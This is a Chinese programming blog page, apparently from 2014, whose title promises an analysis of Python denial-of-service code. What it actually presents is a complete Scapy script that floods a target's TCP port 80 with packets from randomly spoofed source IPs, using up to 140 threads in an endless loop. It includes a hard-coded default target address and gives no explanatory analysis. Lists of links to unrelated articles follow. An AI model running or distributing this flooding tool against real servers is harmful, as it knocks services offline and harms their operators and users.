分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
django接入新浪微博OAuth的方法
Jun 29 Python
详解Python编程中包的概念与管理
Oct 16 Python
Java多线程编程中ThreadLocal类的用法及深入
Jun 21 Python
matplotlib绘制动画代码示例
Jan 02 Python
win10下tensorflow和matplotlib安装教程
Sep 19 Python
Python发送邮件测试报告操作实例详解
Dec 08 Python
Python datetime和unix时间戳之间相互转换的讲解
Apr 01 Python
Python学习笔记之Django创建第一个数据库模型的方法
Aug 07 Python
Matplotlib scatter绘制散点图的方法实现
Jan 02 Python
解析PyCharm Python运行权限问题
Jan 08 Python
Django 拼接两个queryset 或是两个不可以相加的对象实例
Mar 28 Python
Python实现灰色关联分析与结果可视化的详细代码
Mar 25 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
利用curl 多线程 模拟 并发的详解
2013/06/14 PHP
20个2014年最优秀的PHP框架回顾
2014/10/22 PHP
PHP+Mysql+jQuery中国地图区域数据统计实例讲解
2015/10/10 PHP
PHP实现RTX发送消息提醒的实例代码
2017/01/03 PHP
可以用来调试JavaScript错误的解决方案
2010/08/07 Javascript
window.location 对象所包含的属性
2014/10/10 Javascript
JavaScript通过function定义对象并给对象添加toString()方法实例分析
2015/03/23 Javascript
实例解析JS布尔对象的toString()方法和valueOf()方法
2015/10/25 Javascript
json的使用小结
2016/06/08 Javascript
jQuery.ajax 跨域请求webapi设置headers的解决方案
2016/08/08 Javascript
JQuery 动态生成Table表格实例代码
2016/12/02 Javascript
关于微信jssdk实现多图片上传的一点心得分享
2016/12/13 Javascript
详解在vue-cli项目中安装node-sass
2017/06/21 Javascript
浅谈vue.js中v-for循环渲染
2017/07/26 Javascript
javascript获取指定区间范围随机数的方法
2017/09/08 Javascript
vue-cli中的webpack配置详解
2017/09/25 Javascript
实例讲解javascript实现异步图片上传方法
2017/12/05 Javascript
zepto.js 实时监听输入框的方法
2018/12/04 Javascript
vue中npm包全局安装和局部安装过程
2019/09/03 Javascript
vue和iview实现Scroll 数据无限滚动功能
2019/10/31 Javascript
JavaScript代理模式原理与用法实例详解
2020/03/10 Javascript
vue自定义组件实现双向绑定
2021/01/13 Vue.js
python批量下载图片的三种方法
2013/04/22 Python
Python中的with语句与上下文管理器学习总结
2016/06/28 Python
详解python并发获取snmp信息及性能测试
2017/03/27 Python
修复CentOS7升级Python到3.6版本后yum不能正确使用的解决方法
2018/01/26 Python
python斐波那契数列的计算方法
2018/09/27 Python
使用html5 canvas绘制圆环动效
2019/06/03 HTML / CSS
trivago美国:全球最大的酒店价格比较网站
2018/01/18 全球购物
英国计算机产品零售商:Novatech(定制个人电脑、笔记本电脑、工作站和服务器)
2018/01/28 全球购物
C语言笔试集
2012/07/24 面试题
个人自我评价范文
2014/02/05 职场文书
工程专业求职自荐书范文
2014/02/18 职场文书
领导班子群众路线与四风问题对照检查材料思想汇报
2014/10/11 职场文书
骨干教师事迹材料
2014/12/17 职场文书
Windows11性能真的上涨35%? 桌面酷睿i9实测结果公开
2021/11/21 数码科技